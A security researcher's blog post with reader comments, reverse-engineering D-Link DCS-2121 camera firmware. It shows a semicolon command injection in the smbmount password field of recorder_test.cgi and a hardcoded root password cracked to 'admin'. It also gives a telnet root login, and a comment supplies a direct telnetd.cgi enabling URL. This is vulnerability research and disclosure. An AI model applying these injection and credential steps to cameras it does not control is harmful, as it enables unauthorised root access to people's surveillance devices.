I recently bought a D-Link DCS-2121 surveillance camera. This is good stuff:
- Megapixel camera + microphone + speaker
- WiFi, UPnP and dynamic DNS supported
- Web and Mobile Web access to streaming data
- Motion detection
- SDCard recording
Firmware analysis
$ wget http://www.dlink.com.sg/support/Support_download.asp?idsupport=745
(...)
$ unzip dcs-2121_fw_1.04_3227.zip
Archive: dcs-2121_fw_1.04_3227.zip
inflating: DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
inflating: DCS-2121_A1_Release Note_forFW1.04-3227.txt
$ file DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
DCS-2102_DCS-2121_A1_FW_1.04_3227.bin: POSIX shell script text executable
Yes, firmware is … a shell script file! In fact, this file is broken into two parts:
- A shell script
- A binary blob
The shell script is very small - interesting parts are the following:
(...)
BLOCKS="norboot.bin(0x10000,65536),vmlinuz(0x60000,1048576),cram_image(0x160000,0x5E0000),autoboot.bin(0x2000,8192)"
(...)
extract() {
# tarLine will be replaced with a real number by Makefile
tail -n +153 "$1"
}
(...)
extract "$self" | ddPack - || exit 1
(...)
"ddPack" is a custom application. Nevertheless we gained some insights about memory layout, and we know that a CramFS filesystem is used.
CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the firmware (beware of endianness). Actual offset may vary - depending of the firmware localization (D-Link provides regional builds of the same version).
$ dd if=DCS-2102_DCS-2121_A1_FW_1.04_3227.bin of=cramfs bs=1138213 skip=1
5+1 records in
5+1 records out
6168576 bytes (6.2 MB) copied, 0.0210627 s, 293 MB/s
$ file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5791744 version #2 sorted_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files
$ sudo mount -o loop,ro cramfs /mnt/loop/
ls /mnt/loop/
bin dev etc lib linuxrc mnt opt proc sbin scripts tmp usr var
We now have full read access to the firmware, which leads to interesting discoveries. According to copyright strings, the camera itself is built around the Prolific PL-1029 "System On a Chip". Many CGI files under "/var/www" are calling eval() with user-supplied parameters. There is also a promising "/var/www/cgi/admin/telnetd.cgi" script :)
#!/bin/sh
# get current setting from tdb
# format looks like VariableName_type
onGetSetting() {
result=""
}
# make sure, ...
# 1. $result is set
# 2. variables in dumpXml are all set
onUpdateSetting() {
result="ok"
if [ "$command" = "on" ]; then
/usr/sbin/telnetd 1>/dev/null 2>/dev/null
else
killall telnetd 1>/dev/null 2>/dev/null
fi
}
onDumpXml() {
xmlBegin index.xsl home-left.lang index.lang
resultTag $result
xmlEnd
}
scenario=$(basename $0 | cut -d'.' -f1)
. ../../xmlFunctions.sh
. ../../cgiMain.sh
However we are going to focus on a very specific bug: "semicolon injection". In my experience, this bug plagues all and every Linux-based embedded devices, ranging from the OrangeBox (now dead link) to DD-WRT. Let's look for compiled CGI that might be calling system().
var/www/cgi/admin$ fgrep system *
Binary file adv_audiovideo.cgi matches
Binary file adv_godev.cgi matches
Binary file adv_sdcard.cgi matches
Binary file calibration.cgi matches
Binary file export.cgi matches
Binary file go_sleep.cgi matches
Binary file import.cgi matches
Binary file netWizard.cgi matches
Binary file pt8051_settings.cgi matches
Binary file pt_settings.cgi matches
Binary file reboot.cgi matches
Binary file recorder_status.cgi matches
Binary file recorder_test.cgi matches
Binary file reset.cgi matches
Binary file rs485_control.cgi matches
Binary file tools_admin.cgi matches
Binary file tools_system.cgi matches
Binary file wireless_ate.cgi matches
Let's focus on those files, and look for possibly unsecure calls.
$ strings -f * | grep "%s"
adv_godev.cgi: TinyDBError %s
adv_sdcard.cgi: rm -rf "%s"
adv_sdcard.cgi: %s/video
adv_sdcard.cgi: mkdir -m 0777 %s/video
adv_sdcard.cgi: find "%s" -type f -name "*" |wc -l
pt_settings.cgi: TinyDBError %s
recorder_test.cgi: TinyDBError %s
recorder_test.cgi: umount %s
recorder_test.cgi: mkdir -p %s
recorder_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s
recorder_test.cgi: touch %s
rs485_control.cgi: TinyDBError %s
rs485_control.cgi: RS485PresetControl::%s(), unexpected command
So … "recorder_test.cgi" potentially calls system("smbmount //%s/%s %s -o username=%s,password=%s") … Let's see if "password" parameter is properly escaped.
Try #1 with password "toto". Command result is "mntFailure". |
Try #2 with password "toto;/bin/true". Command result is "ok" :) |
It is now time to start that "/usr/sbin/telnetd" server :) But wait ... what is "root" password ?
"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and "/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local" script.
(...)
start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow
#telnetd > /dev/null 2> /dev/null
/bin/agent &
#/sbin/syslogd
addlog System is booted up.
echo "rc.local start ok."
}
(...)
So ... "root" password is hardcoded to "admin". How cool is that ? ;)
$ telnet 192.168.0.117 23
DCS-2121 login: root
Password: admin
BusyBox v1.01 (2009.07.27-09:19+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # uname -a
uname -a
Linux DCS-2121 2.4.19-pl1029 #1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown
Conclusion
As often with Linux-based embedded firmwares, a trivial "semicolon injection" bug can be found with no reverse-engineering - grep is the only tool you need to reproduce this case at home.
Disclaimer (for not-so-funny people): yes this is "0day", unreported to the vendor. I even suspect the whole D-Link product line is vulnerable to the same bug (if not the whole world of low-end embedded systems (and even business class products)). However, since Web access requires authentication, this bug might be exploitable by administrators only, so it is only useful for people who would like to gain a shell on their own systems. Do not panic :)
Bonus: how to find D-Link cameras on the Internet.
17 comments:
Very interesting, although it's strange that the firmware update file wasn't encrypted in some way.
A few weeks ago I reverse engineered archos AOS1 firmware update file format, and it starts with an RSA-encrypted block containing an AES-128 key, and the rest of the file is encrypted with this key.
But anyway, the semicolon injection is very cool.
Au passage, merci pour le lien et la belle injection SQL présente ici ;-) : http://www.dlink.com.sg/support/Support_download.asp?idsupport=745
Nice post!
I may check my Linksys router to see if it's vulnerable. I don't know if it's Linux based, but it won't take much to find out. ;)
Only exploitable by admin ... with a hardcoded root password ... cue XSS payload ...
how did you knew that the root password was Admin from that?
Nice writeup. Good bug. Very educational. --dr
@fhoguin: I thought Archos firmwares were tougher than that. If memory serves, Archos 704 is built upon a Texas Instruments DSP that embeds an encryption key within the CPU itself.
@blah: je décline toute responsabilité, etc. ;)
@anonymous: it took approximately 5 seconds for John the Ripper to find out that the password was "admin" from the hash :)
> However, since Web access requires authentication, (...) . Do not panic :)
html Mail + your bug = remote rooter farming
[ DO PANIC NOW ]
Cool post btw ;)
Cheers,
endrazine-
Thx man, very educational indeed.
I shall propose the same kind of "exercise", within similar boundaries, to my own coworkers.
This is what happens when a company blatantly rips off the work of volunteers. Sad, but inevitable.
I still don't understand how you enable the telnetd.cgi
I was testing with:
http://192.168.1.20/cgi/admin/telnetd.cgi?on
returns: unknown command. Please specify 'on' or 'off'.
Could you explain me what I have to do to enable telnet?
Thank you.
Hello all,
I'm testing a DCS-2121 and need to translate the admin interface of the camera to my native language, Brazilian Portuguese. How do I get access to the firmware, which is currently 1.05, in order to edit the text portion of it?
Can anyone help me ... the credits published without referring the help. Thank you.
@Sylvio Sorry, I can't help. Reading the firmware content is easy, but writing requires full understanding of the "ddPack" format. There is a long way to go, and I am not sure the target is really worth it ...
Could you explain me what I have to do to enable telnet?
Thank you.
Thanks for sharing the post...great help...keep it up!!!
d-link
not need to inject by password... just use CGI script
(@Tolengo) use : http://192.168.1.20/cgi/admin/telnetd.cgi?command=on
Post a Comment